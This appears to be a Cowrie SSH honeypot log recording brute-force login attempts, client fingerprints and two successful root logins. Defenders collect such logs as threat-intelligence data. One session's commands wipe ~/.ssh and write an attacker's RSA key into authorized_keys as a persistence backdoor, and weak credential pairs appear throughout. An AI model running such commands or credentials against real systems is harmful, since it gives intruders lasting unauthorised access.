{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:43:26.270292Z","src_ip":"103.154.77.48","session":"b072e3ac621b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"recovery","password":"12345","message":"login attempt [recovery/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:43:27.352041Z","src_ip":"103.154.77.48","session":"b072e3ac621b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:43:28.617644Z","src_ip":"103.154.77.48","session":"b072e3ac621b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"42.200.78.78","src_port":39672,"dst_ip":"10.17.0.5","dst_port":22,"session":"0addfae56dfe","protocol":"ssh","message":"New connection: 42.200.78.78:39672 (10.17.0.5:22) [session: 0addfae56dfe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:43:43.441060Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:43:43.445451Z","src_ip":"42.200.78.78","session":"0addfae56dfe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:43:43.659411Z","src_ip":"42.200.78.78","session":"0addfae56dfe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.196.64.198","src_port":50508,"dst_ip":"10.17.0.5","dst_port":22,"session":"f2eb056ba9c1","protocol":"ssh","message":"New connection: 20.196.64.198:50508 (10.17.0.5:22) [session: f2eb056ba9c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:43:43.831810Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:43:43.836428Z","src_ip":"20.196.64.198","session":"f2eb056ba9c1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:43:44.029474Z","src_ip":"20.196.64.198","session":"f2eb056ba9c1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rahul","password":"rahul","message":"login attempt [rahul/rahul] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:43:44.541281Z","src_ip":"42.200.78.78","session":"0addfae56dfe","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"AA123456","message":"login attempt [root/AA123456] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:43:44.821553Z","src_ip":"20.196.64.198","session":"f2eb056ba9c1","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:43:45.233271Z","src_ip":"20.196.64.198","session":"f2eb056ba9c1","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:43:45.236326Z","src_ip":"20.196.64.198","session":"f2eb056ba9c1","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:43:45.239486Z","src_ip":"20.196.64.198","session":"f2eb056ba9c1","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:43:45.452204Z","src_ip":"20.196.64.198","session":"f2eb056ba9c1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:43:45.756482Z","src_ip":"42.200.78.78","session":"0addfae56dfe","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:43:45.872363Z","src_ip":"20.196.64.198","session":"f2eb056ba9c1","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:43:45.875477Z","src_ip":"20.196.64.198","session":"f2eb056ba9c1","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:43:46.072837Z","src_ip":"20.196.64.198","session":"f2eb056ba9c1","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:43:46.076511Z","src_ip":"20.196.64.198","session":"f2eb056ba9c1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.196.64.198","src_port":50520,"dst_ip":"10.17.0.5","dst_port":22,"session":"69e34930c98a","protocol":"ssh","message":"New connection: 20.196.64.198:50520 (10.17.0.5:22) [session: 69e34930c98a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:43:46.259895Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:43:46.264440Z","src_ip":"20.196.64.198","session":"69e34930c98a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:43:46.458390Z","src_ip":"20.196.64.198","session":"69e34930c98a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:43:47.263407Z","src_ip":"20.196.64.198","session":"69e34930c98a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:43:48.457281Z","src_ip":"20.196.64.198","session":"69e34930c98a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.196.64.198","src_port":50536,"dst_ip":"10.17.0.5","dst_port":22,"session":"452ec7865041","protocol":"ssh","message":"New connection: 20.196.64.198:50536 (10.17.0.5:22) [session: 452ec7865041]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:43:48.644836Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:43:48.650022Z","src_ip":"20.196.64.198","session":"452ec7865041","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:43:48.846064Z","src_ip":"20.196.64.198","session":"452ec7865041","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"3245gs5662d34","message":"login attempt [root/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:43:49.642311Z","src_ip":"20.196.64.198","session":"452ec7865041","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.0","message":"Connection lost after 6.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:43:49.837712Z","src_ip":"20.196.64.198","session":"f2eb056ba9c1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:43:49.840814Z","src_ip":"20.196.64.198","session":"452ec7865041","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.176.195.200","src_port":33042,"dst_ip":"159.203.135.109","dst_port":22,"session":"9e9257f21e0e","protocol":"ssh","message":"New connection: 64.176.195.200:33042 (159.203.135.109:22) [session: 9e9257f21e0e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:43:54.090819Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1_DEV","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1_DEV","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:43:54.095790Z","src_ip":"64.176.195.200","session":"9e9257f21e0e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57e4cc8ee36c3d78f75c6a05acd55963","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57e4cc8ee36c3d78f75c6a05acd55963","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:43:54.100770Z","src_ip":"64.176.195.200","session":"9e9257f21e0e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"aeternity","password":"AETERNITY","message":"login attempt [aeternity/AETERNITY] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:43:54.112975Z","src_ip":"64.176.195.200","session":"9e9257f21e0e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:43:55.119812Z","src_ip":"64.176.195.200","session":"9e9257f21e0e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":34534,"dst_ip":"10.17.0.5","dst_port":22,"session":"4d89b55d9b22","protocol":"ssh","message":"New connection: 2.57.122.208:34534 (10.17.0.5:22) [session: 4d89b55d9b22]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:43:55.222656Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:43:55.449395Z","src_ip":"2.57.122.208","session":"4d89b55d9b22","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:43:55.452994Z","src_ip":"2.57.122.208","session":"4d89b55d9b22","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"trader","password":"123456","message":"login attempt [trader/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:43:56.379934Z","src_ip":"2.57.122.208","session":"4d89b55d9b22","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:43:57.624679Z","src_ip":"2.57.122.208","session":"4d89b55d9b22","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.96","src_port":60862,"dst_ip":"159.203.135.109","dst_port":22,"session":"f8d1fd353688","protocol":"ssh","message":"New connection: 2.57.122.96:60862 (159.203.135.109:22) [session: f8d1fd353688]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T15:45:05.699986Z"}
